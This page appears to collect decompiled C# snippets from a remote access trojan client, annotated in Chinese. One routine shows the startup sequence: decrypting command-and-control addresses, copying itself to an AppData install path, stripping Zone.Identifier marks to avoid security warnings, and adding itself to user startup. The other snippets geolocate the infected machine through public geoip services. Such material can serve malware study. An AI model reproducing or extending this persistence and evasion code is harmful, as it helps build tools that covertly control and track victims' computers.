示例#1
0
 // Token: 0x060005A7 RID: 1447 RVA: 0x00013A90 File Offset: 0x00011C90
 private static void smethod_1()
 {
     GClass34.LocationCompleted = false;
     try
     {
         DataContractJsonSerializer dataContractJsonSerializer = new DataContractJsonSerializer(typeof(GClass1));
         HttpWebRequest             httpWebRequest             = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip");
         httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
         httpWebRequest.Proxy     = null;
         httpWebRequest.Timeout   = 5000;
         using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
         {
             using (Stream responseStream = httpWebResponse.GetResponseStream())
             {
                 using (StreamReader streamReader = new StreamReader(responseStream))
                 {
                     string s = streamReader.ReadToEnd();
                     using (MemoryStream memoryStream = new MemoryStream(Encoding.UTF8.GetBytes(s)))
                     {
                         GClass34.GeoInfo = (GClass1)dataContractJsonSerializer.ReadObject(memoryStream);
                     }
                 }
             }
         }
         GClass34.LastLocated       = DateTime.UtcNow;
         GClass34.LocationCompleted = true;
     }
     catch
     {
         GClass34.smethod_2();
     }
 }
示例#2
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
示例#3
0
 // Token: 0x060005A8 RID: 1448 RVA: 0x00013BB8 File Offset: 0x00011DB8
 private static void smethod_2()
 {
     GClass34.GeoInfo = new GClass1();
     try
     {
         HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
         httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
         httpWebRequest.Proxy     = null;
         httpWebRequest.Timeout   = 5000;
         using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
         {
             using (Stream responseStream = httpWebResponse.GetResponseStream())
             {
                 using (StreamReader streamReader = new StreamReader(responseStream))
                 {
                     string      xml         = streamReader.ReadToEnd();
                     XmlDocument xmlDocument = new XmlDocument();
                     xmlDocument.LoadXml(xml);
                     string innerXml  = xmlDocument.SelectSingleNode("Response//IP").InnerXml;
                     string innerXml2 = xmlDocument.SelectSingleNode("Response//CountryName").InnerXml;
                     string innerXml3 = xmlDocument.SelectSingleNode("Response//CountryCode").InnerXml;
                     string innerXml4 = xmlDocument.SelectSingleNode("Response//RegionName").InnerXml;
                     string innerXml5 = xmlDocument.SelectSingleNode("Response//City").InnerXml;
                     GClass34.GeoInfo.ip           = ((!string.IsNullOrEmpty(innerXml)) ? innerXml : "-");
                     GClass34.GeoInfo.country      = ((!string.IsNullOrEmpty(innerXml2)) ? innerXml2 : "Unknown");
                     GClass34.GeoInfo.country_code = ((!string.IsNullOrEmpty(innerXml3)) ? innerXml3 : "-");
                     GClass34.GeoInfo.region       = ((!string.IsNullOrEmpty(innerXml4)) ? innerXml4 : "Unknown");
                     GClass34.GeoInfo.city         = ((!string.IsNullOrEmpty(innerXml5)) ? innerXml5 : "Unknown");
                 }
             }
         }
         GClass34.LastLocated       = DateTime.UtcNow;
         GClass34.LocationCompleted = true;
     }
     catch
     {
         GClass34.GeoInfo.country      = "Unknown";
         GClass34.GeoInfo.country_code = "-";
         GClass34.GeoInfo.region       = "Unknown";
         GClass34.GeoInfo.city         = "Unknown";
         GClass34.LocationCompleted    = false;
     }
     if (string.IsNullOrEmpty(GClass34.GeoInfo.ip))
     {
         GClass34.smethod_3();
     }
 }
示例#4
0
    // Token: 0x060005A6 RID: 1446 RVA: 0x000139D4 File Offset: 0x00011BD4
    public static void smethod_0()
    {
        TimeSpan timeSpan = new TimeSpan(DateTime.UtcNow.Ticks - GClass34.LastLocated.Ticks);

        if (timeSpan.TotalMinutes > 30.0 || !GClass34.LocationCompleted)
        {
            GClass34.smethod_1();
            if (GClass34.GeoInfo.country_code == "-" || GClass34.GeoInfo.country == "Unknown")
            {
                GClass34.ImageIndex = 247;
                return;
            }
            for (int i = 0; i < GClass34.string_0.Length; i++)
            {
                if (GClass34.string_0[i].Contains(GClass34.GeoInfo.country_code.ToLower()))
                {
                    GClass34.ImageIndex = i;
                    return;
                }
            }
        }
    }